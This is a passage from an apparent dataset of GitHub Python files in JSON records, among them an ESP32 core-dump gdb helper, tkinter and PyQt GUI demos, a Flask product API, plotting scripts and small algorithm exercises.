921600 read_flash {} {} {}\".format(port, core_dump_offset, core_dump_size, core_dump_path))\n\n# use \"with ChangedDirectory('/path/to/abc')\" instead of \"os.chdir('/path/to/abc')\"\nclass ChangedDirectory(object):\n def __init__(self, path):\n self.path = path\n self.previous_path = None\n\n def __enter__(self):\n self.previous_path = os.getcwd()\n os.chdir(self.path)\n\n def __exit__(self, type_, value, traceback):\n os.chdir(self.previous_path)\n\nif __name__ == '__main__':\n gdb = find_gdb()\n if gdb is None:\n print(\"Can't find xtensa-esp32-elf-gdb or pio.\")\n print(\"Make sure that one of them is available in your $PATH.\")\n sys.exit(-1)\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-i\", \"--interactive\", action='store_true', help=\"Don't exit gdb immediately\")\n parser.add_argument(\"-l\", \"--local-source\", action='store_true', help=\"Don't checkout firmware git, use local copy\")\n\n group = parser.add_mutually_exclusive_group(required=True)\n group.add_argument(\"path\", nargs='?', default=None)\n group.add_argument(\"-p\", \"--port\")\n args = parser.parse_args(sys.argv[1:])\n\n if args.port:\n if len(args.port) < 6:\n port = \"/dev/ttyUSB\" + args.port\n else:\n port = args.port\n\n if args.path:\n get_core_dump_from_debug_report(args.path)\n if args.port:\n download_core_dump(port)\n\n\n try:\n tf_coredump_json, extra_data = get_tf_coredump_data(core_dump_path)\n if not tf_coredump_json:\n print(\"Core dump in debug log has no TF coredump info.\")\n sys.exit (-1)\n\n tf_coredump_data = json.loads(tf_coredump_json)\n if extra_data is not None:\n extra_data = format_extra_data(extra_data).replace('\\n', '\\\\n')\n\n elf_name = tf_coredump_data['firmware_file_name'] + \".elf\"\n script_path = os.path.dirname(os.path.realpath(__file__))\n\n possible_firmware_paths = [\n os.path.join(script_path, \"build\", elf_name),\n os.path.join(script_path, \"..\", \"..\", \"warp-charger\", \"firmwares\", elf_name),\n os.path.join(\".\", elf_name),\n ]\n\n firmware_path = None\n for path in possible_firmware_paths:\n if os.path.exists(path):\n firmware_path = path\n\n\n def run_gdb(repo_dir=\"../\"):\n coredump_py_gdb_cmds = \"\"\n if os.path.exists(\"coredump_py_gdb_cmds\"):\n with open(\"coredump_py_gdb_cmds\") as f:\n coredump_py_gdb_cmds = f.read().replace(\"\\n\", \" \")\n\n os.system(f\"{gdb} \" +\n (\"-q --batch \" if not args.interactive else \"\") +\n \"-iex 'set pagination off' \" +\n f\"-iex 'directory {repo_dir}' \" +\n f\"-iex 'set substitute-path src/ {repo_dir}/software/src' \" +\n f\"-iex 'set substitute-path /home/erik/ {os.path.expanduser('~')}' \" +\n \"-iex 'set style enabled on' \" +\n \"-iex 'set print frame-info source-and-location' \" +\n coredump_py_gdb_cmds +\n (\"-ex 'shell clear' \" if args.interactive else \"\") +\n \"-ex 'echo ================================================================================\\n' \" +\n \"-ex 'echo In interactive mode:\\n' \" +\n \"-ex 'echo - Run \\\"disassemble /s\\\" to analyze assembly.\\n' \" +\n \"-ex 'echo - Run \\\"thread apply all bt full\\\" to print traces of all threads.\\n' \" +\n \"-ex 'echo\\n' \" +\n f\"-ex 'echo Crashed firmware {tf_coredump_data['firmware_file_name']}\\n' \" +\n (f\"-ex 'echo {extra_data}\\n' \" if extra_data is not None else \"\")+\n \"-ex 'echo ================================================================================\\n' \" +\n \"-ex 'echo ============================= Registers at crash ===============================\\n' \" +\n \"-ex 'echo ================================================================================\\n' \" +\n \"-ex 'info registers pc ps a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 a10 a11 a12 a13 a14 a15 sar lbeg lend lcount' \" +\n \"-ex 'echo ================================================================================\\n' \" +\n \"-ex 'echo ============================= Backtrace starts here ============================\\n' \" +\n \"-ex 'echo ================================================================================\\n' \" +\n \"-ex 'bt full' \" +\n f\"{firmware_path} {core_dump_path}\")\n\n if firmware_path:\n if args.local_source:\n run_gdb()\n else:\n with tempfile.TemporaryDirectory(prefix=\"coredump-git-\") as d:\n os.system(f\"git clone --shared --no-checkout {script_path}/.. {d}\")\n with ChangedDirectory(d):\n os.system(f\"git checkout --quiet {tf_coredump_data['firmware_commit_id']}\")\n commit_time = int(subprocess.check_output(['git', 'log', '-1', '--pretty=%at', tf_coredump_data['firmware_commit_id']]))\n for (dirpath, dirnames, filenames) in os.walk('software/src'):\n for filename in filenames:\n os.utime(os.sep.join([dirpath, filename]), (commit_time, commit_time))\n\n run_gdb(d)\n\n\n else:\n print(f\"Firmware {elf_name} not found in any of these places:\\n\")\n for path in possible_firmware_paths:\n print(f\" {path}\")\n finally:\n if os.path.exists(core_dump_path):\n os.remove(core_dump_path)\n","repo_name":"Tinkerforge/esp32-firmware","sub_path":"software/coredump.py","file_name":"coredump.py","file_ext":"py","file_size_in_byte":15077,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"52"} +{"seq_id":"26153663476","text":"from Queue import *\nfrom tree import *\n\nclass binary_tree:\n def __init__(self, x):\n self.store = [x, [], []]\n\n def AddLeft(self, tree):\n self.store[1] = tree\n return True\n\n def AddRight(self, tree):\n self.store[2] = tree\n return True \n\n def Print_tree(self, indent):\n print(indent + str(self.store[0]))\n for x in range(1,3):\n if self.store[x] != []:\n self.store[x].Print_tree(indent + \" \")\n return True\n \n def Get_LevelOrder(self):\n x =Queue()\n x.enqueue(self)\n accum = []\n while x.empty() == False:\n r=x.dequeue()\n #print(r.store[0])\n accum = accum + [r.store[0]]\n for i in range(1,3):\n if r.store[i] != []:\n x.enqueue(r.store[i])\n print(accum)\n \n def ConvertToTree(self):\n root = self.store[0]\n rtree = tree(root)\n if self.store[1]!=[]:\n successor = self.store[1]\n while True:\n succ = successor.ConvertToTree()\n rtree.AddSuccessor(succ)\n if successor.store[2]!=[]:\n successor = successor.store[2]\n else:\n break\n return rtree\n \n \n \n \n","repo_name":"JuliaChae/CSC190","sub_path":"lab2/binary_tree.py","file_name":"binary_tree.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"21713014085","text":"import common_figures as cf\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef langevin_labels(labels,x_data,y_data,nsteps=1000,k0=10.,epsilon=1e-12,sigma=.1,dt=.05,l0=.15,kbT=10.,gamma=1.):\n\t#\n\t# nsteps = 1000\n\t# k0 = 10.\n\t# # k1 = 1.\n\t# epsilon = 1e-12\n\t# sigma = .1\n\t# dt = .05\n\t# l0 = .15\n\t# # l1 = .3\n\t# kbT = 10.\n\t# gamma = 1.\n\t#\n\t\n\tn = x_data.size\n\n\t## initialize w a clock\n\tcom = np.array((np.sqrt(np.mean(x_data**2.)),np.sqrt(np.mean(y_data**2.))))\n\trad = np.sqrt(np.mean((x_data-com[0])**2.+(y_data-com[1])**2.))*5\n\n\ttheta = np.linspace(0,2*np.pi,2*n+1)[:-1]\n\tx_pos = com[0]+rad*np.cos(theta)\n\ty_pos = com[1]+rad*np.sin(theta)\n\n\tx_label = np.zeros_like(x_data)\n\ty_label = np.zeros_like(y_data)\n\tleft = [i for i in range(theta.size)]\n\tfor i in range(n):\t\n\t\trs = np.sqrt((x_data[i]-x_pos[left])**2.+(y_data[i]-y_pos[left])**2.)\n\t\trind = rs.argmin()\n\t\tlind = left[rind]\n\t\t# print(i,rind,lind,rs)\n\t\tx_label[i] = x_pos[lind]\n\t\ty_label[i] = y_pos[lind]\n\t\tleft.pop(rind)\n\t# x_label = x_data + np.random.normal(size=n)*.1\n\t# y_label = y_data + np.random.normal(size=n)*.1\n\n\n\n\n\n\n\n\t#### initialize\n\tmass = np.ones(n)\n\tpre = np.sqrt(2*mass*gamma*kbT)\n\n\tx_label0 = x_label.copy()\n\ty_label0 = y_label.copy()\n\tx_label1 = np.zeros_like(x_label0)\n\ty_label1 = np.zeros_like(y_label0)\n\n\tr2 = (x_label0-x_data)**2.+(y_label0-y_data)**2.\n\tr = np.sqrt(r2)\n\t## x\n\tvx = np.random.rand(n)*.01\n\tdux = k0*(r-l0)/r*(x_label0-x_data)\n\taccelx = (-dux-gamma*mass*vx+pre*np.random.normal(size=mass.size))/mass\n\tx_label1 = x_label0+vx*dt+.5*accelx*dt*dt\n\t## y\n\tvy = np.random.rand(n)*.01\n\tduy = k0*(r-l0)/r*(y_label0-y_data)\n\taccely = (-duy-gamma*mass*vy+pre*np.random.normal(size=mass.size))/mass\n\ty_label1 = y_label0+vy*dt+.5*accely*dt*dt\n\n\n\n\trecord = np.zeros((nsteps,n,2))\n\n\t#### steps >1\n\tfor step in range(nsteps):\n\t\tr2 = (x_label1-x_data)**2.+(y_label1-y_data)**2.\n\t\tr = np.sqrt(r2)\n\t\n\t\tvx = x_label1-x_label0\n\t\tvy = y_label1-y_label0\n\t\n\t\t## x,y\n\t\tdux = k0*(r-l0)/r*(x_label1-x_data)\n\t\tduy = k0*(r-l0)/r*(y_label1-y_data)\n\t\tfor i in range(n):\n\t\t\tfor j in range(n):\n\t\t\t\tif i != j:\n\t\t\t\t\trij2 = (x_label1[i]-x_label1[j])**2.+(y_label1[i]-y_label1[j])**2.\n\t\t\t\t\trij = np.sqrt(rij2)\n\t\t\t\t\t# dux[i] += k1*(rij-l1)/rij*(x_label1[i]-x_label1[j])\n\t\t\t\t\t# duy[i] += k1*(rij-l1)/rij*(y_label1[i]-y_label1[j])\n\t\t\t\t\t# duxi = np.min((1.,4*epsilon*(-12.*rij2**(-7.)+6*rij2**(-4.))*(x_label1[i]-x_label1[j])))\n\t\t\t\t\t# duyi = np.min((1.,4*epsilon*(-12.*rij2**(-7.)+6*rij2**(-4.))*(y_label1[i]-y_label1[j])))\n\t\t\t\t\tduxi = np.min((1.,4*epsilon*(-12.*rij2**(-7.))*(x_label1[i]-x_label1[j])))\n\t\t\t\t\tduyi = np.min((1.,4*epsilon*(-12.*rij2**(-7.))*(y_label1[i]-y_label1[j])))\n\n\t\t\t\t\tdux[i] += duxi\n\t\t\t\t\tduy[i] += duyi\n\t\tfor i in range(n):\n\t\t\tfor j in range(n):\n\t\t\t\tif i != j:\n\t\t\t\t\trij2 = (x_label1[i]-x_data[j])**2.+(y_label1[i]-y_data[j])**2.\n\t\t\t\t\trij = np.sqrt(rij2)\n\t\t\t\t\t# dux[i] += k1*(rij-l1)/rij*(x_label1[i]-x_label1[j])\n\t\t\t\t\t# duy[i] += k1*(rij-l1)/rij*(y_label1[i]-y_label1[j])\n\t\t\t\t\tduxi = np.min((1.,4*epsilon*(-12.*rij2**(-7.)+6*rij2**(-4.))*(x_label1[i]-x_data[j])))\n\t\t\t\t\tduyi = np.min((1.,4*epsilon*(-12.*rij2**(-7.)+6*rij2**(-4.))*(y_label1[i]-y_data[j])))\n\t\t\t\t\tdux[i] += duxi\n\t\t\t\t\tduy[i] += duyi\n\t\t\t\t\n\t\t\t\t\n\t\taccelx = (-dux-gamma*mass*vx+pre*np.random.normal(size=mass.size))/mass\n\t\taccely = (-duy-gamma*mass*vy+pre*np.random.normal(size=mass.size))/mass\n\t\t# print(vx.max(),vy.max(),accelx.max(),accely.max())\n\t\n\t\tjumpx = vx*dt + .5*accelx*dt*dt\n\t\tjumpy = vy*dt + .5*accely*dt*dt\n\t\tjumpx[np.abs(jumpx) > .1] = np.sign(jumpx[np.abs(jumpx)>.1]) * .1\n\t\tjumpy[np.abs(jumpy) > .1] = np.sign(jumpy[np.abs(jumpy)>.1]) * .1\n\t\n\t\tx_label2 = x_label1 + jumpx\n\t\ty_label2 = y_label1 + jumpy\n\n\t\n\t\t## propagate\n\t\trecord[step,:,0] = x_label2.copy()\n\t\trecord[step,:,1] = y_label2.copy()\n\t\n\t\tx_label0 = x_label1.copy()\n\t\tx_label1 = x_label2.copy()\n\t\ty_label0 = y_label1.copy()\n\t\ty_label1 = y_label2.copy()\n\t\t\n\n\tx_label = x_label2.copy()\n\ty_label = y_label2.copy()\n\n\treturn x_label,y_label,record\n\n\ndeposit_date = cf.load_depositdate('./all_results.hdf5')\nP_res = cf.load_P_res('./all_results.hdf5')\nresidues = cf.load_residues('./all_results.hdf5')\nresolution = cf.load_resolution('./all_results.hdf5')\nprint('loaded')\nfor i in range(len(residues)):\n\tresidues[i] = residues[i].astype('U')\n\n## Define Residue Groups\nall_residues = np.unique(np.concatenate(residues))\nstandard_residues = ['A','ALA','ARG','ASN','ASP','C','CYS','DA','DC','DG','DT','G','GLN','GLU','GLY','HIS','ILE','LEU','LYS','MET','PHE','PRO','SER','THR','TRP','TYR','U','VAL']\nres_dna = ['DA','DC','DG','DT']\nres_rna = ['A','C','G','U']\nres_aa = [r for r in standard_residues if (not r in res_dna) and (not r in res_rna)]\nres_ns = [r for r in all_residues if not r in standard_residues] ## ns=non-standard\n\n## x coordinates for plots\nx_dna = np.arange(4)\nx_rna = 4+np.arange(4)\nx_aa = 8+np.arange(len(res_aa))\nxs = np.concatenate([x_dna,x_rna,x_aa])\nx_ns = np.arange(len(res_ns))\n\n\ninitiates_aa = np.array([\n[-1.667208, -1.519080, 1.249326, 3.570052], ### 966.426 \n[-1.111805, -2.416486, 0.267453, 14.801143], ### 1320.389 \n[-1.818346, -2.074335, 0.961617, 6.228729], ### 867.790 \n[-1.871158, -1.753872, 1.872073, 4.240304], ### 752.262 \n[-1.812251, -1.568608, 1.028937, 3.275973], ### 229.065 \n[-1.641930, -2.272378, 0.504857, 10.560398], ### 817.104 \n[-1.776310, -2.061064, 0.828518, 6.305567], ### 1010.913 \n[-1.812733, -1.634535, 1.252082, 4.433449], ### 951.018 \n[-1.461690, -2.353377, 0.170860, 18.137807], ### 484.815 \n[-1.186715, -1.994174, 0.405747, 5.732653], ### 870.632 \n[-1.054426, -2.124767, 0.314998, 6.255806], ### 1600.872 \n[-1.417542, -2.344607, 0.341483, 12.080984], ### 1290.212 \n[-1.223276, -2.139754, 0.280910, 7.800832], ### 399.883 \n[-0.705159, -2.316938, 0.136702, 8.828582], ### 976.213 \n[-1.741547, -1.909842, 0.806894, 3.050437], ### 695.187 \n[-1.832606, -1.587168, 2.216017, 3.596666], ### 874.842 \n[-1.635222, -1.726448, 0.743041, 3.954489], ### 813.825 \n[-1.010496, -2.458828, 0.193184, 9502.021584], ### 371.564 \n[-0.675695, -2.370495, 0.115421, 9.182216], ### 878.291 \n[-1.360419, -1.782774, 0.570507, 4.113113], ### 913.048 \n])\n# initiates_aa = None\n\ninitiates_dna = np.array([\n[-2.324427, -2.611187, 10.128654, 9550.234284], ### 246.647 \n[-2.408822, -2.612963, 6742.804414, 9493.776151], ### 261.564 \n[-2.392064, -2.597642, 9.732065, 9980.295407], ### 261.856 \n[-2.443419, -2.583839, 5179.206167, 9087.417711], ### 234.450 \n\t\n])\n\ninitiates_rna = np.array([\n[-1.981343, -2.546032, 5.119177, 25.958471], ### 4166.456 \n[-2.033606, -2.518322, 7.034091, 18.071054], ### 3735.469 \n[-1.988461, -2.559806, 4.607293, 26.157838], ### 5022.512 \n[-2.007131, -2.503352, 6.750622, 17.139043], ### 3271.366 \n])\n\n\ncutoff_year = 2018\n\n# for cutoff_resolution in [2.,2.25,2.5,2.75,3.,3.25,3.5,3.75,4.]:\n# for cutoff_resolution in [3.2,]:\ncutoff_resolution = 3.2\n\nP_dna = [[] for _ in range(len(res_dna))]\nP_rna = [[] for _ in range(len(res_rna))]\nP_aa = [[] for _ in range(len(res_aa))]\nP_ns = [[] for _ in range(len(res_ns))]\nfrom tqdm import tqdm\nfor i in tqdm(range(len(deposit_date))):\n\ty,m,d = deposit_date[i].split('-')\n\tif int(y) >= cutoff_year:\n\t\tif resolution[i] <= cutoff_resolution:\n\t\t\tpp = P_res[i].copy()\n\t\t\tpp[~np.isfinite(pp)] = 0.#np.random.rand(np.sum(~np.isfinite(pp)))*1e-6\n\t\t\tpp[np.isnan(pp)] = 0.#np.random.rand(np.sum(np.isnan(pp)))*1e-6\n\n\t\t\t## extract groups\n\t\t\tfor j in range(len(res_dna)):\n\t\t\t\tkeep = residues[i] == res_dna[j]\n\t\t\t\tif np.sum(keep)>0:\n\t\t\t\t\tP_dna[j].append(pp[keep])\n\t\t\tfor j in range(len(res_rna)):\n\t\t\t\tkeep = residues[i] == res_rna[j]\n\t\t\t\tif np.sum(keep)>0:\n\t\t\t\t\tP_rna[j].append(pp[keep])\n\t\t\tfor j in range(len(res_aa)):\n\t\t\t\tkeep = residues[i] == res_aa[j]\n\t\t\t\tif np.sum(keep)>0:\n\t\t\t\t\tP_aa[j].append(pp[keep])\n\t\t\tfor j in range(len(res_ns)):\n\t\t\t\tkeep = residues[i] == res_ns[j]\n\t\t\t\tif np.sum(keep)>0:\n\t\t\t\t\tP_ns[j].append(pp[keep])\n\n\n####\n# print('****** %f ******'%(cutoff_resolution))\n\n\n# ### TEST LIMITS\n# for i in range(len(P_aa)):\n# \tif len(P_aa[i]) > 500:\n# \t\tP_aa[i] = P_aa[i][:500]\n\n\nkeep = np.array([len(pi) > 2 for pi in P_aa])\nP_aa = [P_aa[i] for i in range(len(keep)) if keep[i]]\nps,mu_as,mu_bs,tau_as,tau_bs,covs = cf.process_sets_hierarchical(P_aa, 'figures/models/hmodel_residue_aa.hdf5',nres=5,maxiter=1000)\n\nx_rg= np.array((\n1.4997, #ALA\n2.9268, #ARG\n2.0322, #ASN\n2.0219, #ASP\n1.8855, #CYS\n2.3649, #GLN\n2.3329, #GLU\n1.3694, #GLY\n2.3351, #HIS\n2.0084, #ILE\n2.1225, #LEU\n2.6013, #LYS\n2.3781, #MET\n2.4702, #PHE\n1.7085, #PRO\n1.6629, #SER\n1.7735, #THR\n2.7436, #TRP\n2.7279, #TYR\n1.7858, #VAL\n))\n\n\nx_mw = np.array((71.0779,156.18568,114.10264,115.0874,103.1429,128.12922,129.11398,57.05132,137.13928,113.15764,113.15764,128.17228,131.19606,147.17386,97.11518,87.0773,101.10388,186.2099,163.17326,99.13106,))\n# order = np.array([ 7, 0, 15, 14, 19, 16, 4, 10, 9, 2, 3, 5, 11, 6, 12, 8, 13, 1, 18, 17])\n\nx_size = x_rg\norder = x_size.argsort()\n\n# for i in range(order.size):\n\t# print(i,order[i],res_aa[order[i]])\n\t# print(res_aa[i])\n\n\nfig,ax = cf.make_fig_set_abtautoo(x_size[order],mu_as[order],mu_bs[order],tau_as[order],tau_bs[order],covs[order])\nx_ticks = np.linspace(10**(np.log10(x_size.min())//1),10**(1.+np.log10(x_size.max())//1),4)\nx_ticks = np.linspace(1.,3.,5)\nx_min = x_size.min()*.9\nx_max = x_size.max()*1.1\nfor aa in fig.axes:\n\t# aa.set_xlim(x_size.min(),x_size.max())\n\taa.set_xticks(x_ticks)\n\taa.set_xticklabels(x_ticks)\n\taa.set_xlim(x_min,x_max)\n\t# aa.set_xticklabels([res_aa[i] for i in order],rotation=90)\n\t\n\nx_data = np.array([x_size[orderi] for orderi in order])\ny_data = np.array([1./(1.+np.exp(mu_bs[orderi])/np.exp(mu_as[orderi])) for orderi in order])\nlabels = np.array([res_aa[orderi] for orderi in order])\nx_label,y_label,record = langevin_labels(labels,x_data,y_data,kbT=.1,l0=.15,k0=10,epsilon=1e-13,dt=.1,gamma = 10,nsteps=4000)\n# xlabel = record[-100:,:,0].mean(0)\n# ylabel = record[-100:,:,1].mean(0)\n# for i in range(record.shape[1]):\n\t# ax['P'].plot(record[:,i,0],record[:,i,1])\n\n# ax.plot(x_data,y_data,'-o',color='k',lw=2)\nfor i in range(len(labels)):\n\tax['P'].annotate(\n\t\tlabels[i],\n\t\txy = (x_data[i],y_data[i]),\n\t\txytext = (x_label[i],y_label[i]),\n\t\txycoords='data',\n\t\ttextcoords='data',\n\t\tarrowprops=dict(arrowstyle=\"->\", connectionstyle=\"arc3\")\n\t)\n\t\nax['T'].set_ylim(ax['T'].get_xlim()[0],40.)\n\nax['P'].set_ylabel(r'$\\langle P \\rangle_{res}$')\nax['P'].set_xlabel(r'$R_g (\\AA)$')\nax['B'].set_xlabel(r'$R_g (\\AA)$')\nax['T'].set_xlabel(r'$R_g (\\AA)$')\n# ax['P'].grid(axis='x')\nax['A'].yaxis.set_major_formatter(plt.ScalarFormatter())\nax['B'].yaxis.set_major_formatter(plt.ScalarFormatter())\nax['A'].yaxis.set_minor_formatter(plt.ScalarFormatter())\nax['B'].yaxis.set_minor_formatter(plt.ScalarFormatter())\nfig.savefig('figures/rendered/EPres_residue_aa_ordered.png',dpi=300)\nfig.savefig('figures/rendered/EPres_residue_aa_ordered.pdf')\nplt.close()\n\n\n","repo_name":"bayes-shape-calc/HARP_paper","sub_path":"figures/EPres_residue_rg.py","file_name":"EPres_residue_rg.py","file_ext":"py","file_size_in_byte":10773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"70995738724","text":"\"\"\"\nSimplistic interface to setting a user announcement.\n\nWe store up to one announcement at a time, containing a text body and an\noptional 'read more' URL. Since getting the announcement should be really\nfast, it can be done on every website pageview without problems.\n\"\"\"\n\n\nfrom __future__ import unicode_literals\n\nfrom mutalyzer.redisclient import client\n\n\ndef set_announcement(body, url=None):\n \"\"\"\n Set announcement.\n \"\"\"\n announcement = {'body': body}\n if url:\n announcement['url'] = url\n\n unset_announcement()\n client.hmset('announcement', announcement)\n\n\ndef unset_announcement():\n \"\"\"\n Unset announcement.\n \"\"\"\n client.delete('announcement')\n\n\ndef get_announcement():\n \"\"\"\n Get announcement.\n \"\"\"\n announcement = client.hgetall('announcement')\n if not announcement:\n return\n\n return {'body': announcement['body'],\n 'url': announcement.get('url')}\n","repo_name":"mutalyzer/mutalyzer2","sub_path":"mutalyzer/announce.py","file_name":"announce.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":98,"dataset":"github-code","pt":"52"} +{"seq_id":"19207227974","text":"from tkinter import *\n\nwindow = Tk()\nwindow.title('My First GUI Program')\nwindow.minsize(width=500, height=300)\n\n# Text\ntext = Text(width=30, height=5)\ntext.focus() # Puts cursor in the textbox\ntext.insert(END, 'Example of multi-line string entry')\nprint(text.get('1.0', END))\ntext.pack()\n\n# Spinbox\ndef spinbox_used():\n print(spinbox.get())\n\n\nspinbox = Spinbox(from_=0, to=10, width=5, command=spinbox_used)\nspinbox.pack()\n\n\n# Scale\ndef scale_used(value): # Called with current scale value\n print(value)\n\n\nscale = Scale(from_=0, to=100, command=scale_used)\nscale.pack()\n\n\n# Checkbutton\ndef checkbutton_used():\n print(checked_state.get()) # Prints 1 if On button checked, otherwise 0.\n\n\nchecked_state = IntVar() # variable to hold on to checked state, 0 is off, 1 is on.\ncheckbutton = Checkbutton(text=\"Is On?\", variable=checked_state, command=checkbutton_used)\ncheckbutton.pack()\n\n\n# Radiobutton\ndef radio_used():\n print(radio_state.get())\n\n\nradio_state = IntVar() # Variable to hold on to which radio button value is checked.\nradiobutton1 = Radiobutton(text=\"Option1\", value=1, variable=radio_state, command=radio_used)\nradiobutton2 = Radiobutton(text=\"Option2\", value=2, variable=radio_state, command=radio_used)\nradiobutton1.pack()\nradiobutton2.pack()\n\n\n# Listbox\ndef listbox_used(event):\n print(listbox.get(listbox.curselection())) # Gets current selection from listbox\n\n\nlistbox = Listbox(height=4)\nfruits = [\"Apple\", \"Pear\", \"Orange\", \"Banana\"]\nfor item in fruits:\n listbox.insert(fruits.index(item), item)\nlistbox.bind(\"<>\", listbox_used)\nlistbox.pack()\n\n# Canvas\ncanvas = Canvas(width=200, height=224) # Inserts a layout one over another. Example: text over an image\ntomato = PhotoImage(file='tomato.png')\ncanvas.create_image(102, 112, image=tomato)\ncanvas.create_text(102, 130, text=\"00:00\", fill='white', font=('Ariel', 25, 'bold')) # Inserts this text over the image\ncanvas.pack()\n\n# Dialog box\nfrom tkinter import messagebox # Module\nmessagebox.askyesno(title='Check data', message='Do you wish to proceed with the data?')\n\nwindow.mainloop()\n","repo_name":"yoga-0731/tkinter-gui-local-projects","sub_path":"tkinter_additional_widgets.py","file_name":"tkinter_additional_widgets.py","file_ext":"py","file_size_in_byte":2097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"8743340477","text":"# -*- coding: utf-8 -*-\nfrom PyQt4 import QtCore, QtGui\n\n\nclass MyWindow(QtGui.QWidget):\n def __init__(self, parent=None):\n QtGui.QWidget.__init__(self, parent)\n self.resize(600, 600)\n\n def paintEvent(self, e):\n painter = QtGui.QPainter(self)\n black = QtCore.Qt.black\n white = QtCore.Qt.white\n painter.setPen(QtGui.QPen(black))\n painter.setBrush(QtGui.QBrush(white))\n painter.drawRect(3, 3, 594, 594)\n\n img = QtGui.QImage(\"NukeApp128.png\")\n painter.drawImage(3, 3, img)\n\n\nif __name__ == \"__main__\":\n import sys\n\n app = QtGui.QApplication(sys.argv)\n window = MyWindow()\n window.setWindowTitle(\"Класс QPainter\")\n window.show()\n sys.exit(app.exec_())","repo_name":"syurskyi/Python_Topics","sub_path":"140_gui/pyqt_pyside/examples/PyQt_PySide_book/006_Working with graphics/002_Class_QPainter/537. drawImage.py","file_name":"537. drawImage.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"41742121930","text":"import os\nfrom flask import Flask\nfrom flask_restful import Api\nfrom time import sleep\nfrom utils.process import Process\nfrom models.product import ProductModel\nfrom resources.product import Products, Product\nfrom utils.config_helper import ConfigHelper\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\napi = Api(app)\n\n\n@app.before_first_request\ndef create_database():\n if not os.path.exists('./database.db'):\n print(\"Create a database\\n\")\n database.create_all()\n sleep(0.1)\n\n file_name = \"products_79936.json\"\n if not os.path.exists(file_name):\n # Download of mock database\n Process.run('curl https://servicespub.prod.api.aws.grupokabum.com.br/descricao/v1/descricao/produto/79936 >> %s' % file_name)\n\n ## Save database ##\n # Read $filename\n config_file = './%s' % file_name\n config_helper = ConfigHelper(config_file)\n config = config_helper.load_config()\n\n # Read only products of config\n config = config['familia']['produtos']\n for data in config:\n product = ProductModel(**data)\n try:\n # Save products in database\n product.save_product()\n sleep(0.01)\n except:\n print({\"message\": \"An error ocurred trying to create product.\"}, 500) # Internal Server Error\n\napi.add_resource(Products, '/produto')\napi.add_resource(Product, '/produto/')\n\n\nif __name__ == '__main__':\n from sql_alchemy import database\n database.init_app(app)\n app.run(debug=True)\n","repo_name":"WilliamAraujo/test_kabum","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"20398793145","text":"T = int(input())\ndata = []\nfor _ in range(T):\n n = int(input())\n board = []\n for __ in range(n):\n tmp = list(map(int, input().split()))\n board.append(tmp)\n data.append((n, board))\n\n\ndef sol(case):\n n, board = case\n moves = [(1, 1),\n (1, -1),\n (-1, -1),\n (-1, 1)]\n\n def DFS(visit, dessert, move_index=0, depth=0):\n if visit[-1][0] == visit[0][0] + 1 and visit[-1][1] == visit[0][1] - 1:\n yield len(dessert)\n else:\n if depth == 0:\n changes = 1\n else:\n changes = 2\n for change in range(changes): # change == 0 => 직진, change == 1 => 우회전\n move_index += change\n if move_index > 3:\n break\n nx = visit[-1][0] + moves[move_index][0]\n ny = visit[-1][1] + moves[move_index][1]\n if not 0 <= nx < n: continue\n if not 0 <= ny < n: continue\n if board[nx][ny] in dessert: continue\n visit.append([nx, ny])\n dessert.append(board[nx][ny])\n yield from DFS(visit, dessert, move_index, depth+1)\n visit.pop()\n dessert.pop()\n\n maximum = 0\n for i in range(0, n-2):\n for j in range(1, n-1):\n visit = [(i, j)]\n dessert = [board[i][j]]\n for summation in DFS(visit, dessert):\n if maximum < summation:\n maximum = summation\n if maximum == 0:\n return -1\n return maximum\n\n\nfor num, case in enumerate(data):\n print(\"#%s\" %(num + 1), sol(case))\n","repo_name":"KhelKim/CodingPractice","sub_path":"SWExpertAcademy/DFS/2105.py","file_name":"2105.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"38584018892","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.compose import ColumnTransformer\nfrom sklearn.preprocessing import OneHotEncoder\n\nfrom src.random_forest import RandomForest,error_rate\nfrom src.extract_rules import back_rule, test_rules\n\nseed = 296\nnp.random.seed(seed)\n\nfeatures = ['f_activity_classification','f_pa_activity_duration_min','f_pa_activity_intensity_kcal_per_min',\n 'f_pa_activity_time_of_day_hour_sin','f_pa_activity_time_of_day_hour_cos',\n 'f_pa_time_since_prev_pa_event_hr', 'f_glucose_variability_lback_24h',\n 'f_lbgi_lback_24h','f_glucose_roc_lback_30min',\n 'f_glucose_start','f_iob_start', 'f_demographics_age', 'f_clinical_years_with_t1d']\n\ndatasets_info = ['categorical','continuous','continuous','continuous','continuous','continuous',\n 'continuous','continuous','continuous','continuous','continuous','continuous','continuous']\n\ntarget = ['tg_time_hypo_during_pa']\ndf = pd.read_csv('data/mrf_tidepool_dataset_with_clusters_11072021_VRE.csv').dropna(subset=target)\n\nfor i,f in enumerate(features):\n if datasets_info[i]=='continuous':\n df.loc[df[f].isna(),f] = df[f].mean()\n else:\n df.loc[df[f].isna(),f] = df[f].mode()\n\n\nX_train = df.loc[df.is_train==1,features].values\ny_train = df.loc[df.is_train==1,target].values\ny_train[y_train>0] = 1\n\nX_test = df.loc[df.is_train==0,features].values\ny_test = df.loc[df.is_train==0,target].values\ny_test[y_test>0] = 1\n\nprint(len(X_train))\nprint(len(X_test))\npreprocessor = ColumnTransformer(transformers=[('encoder', 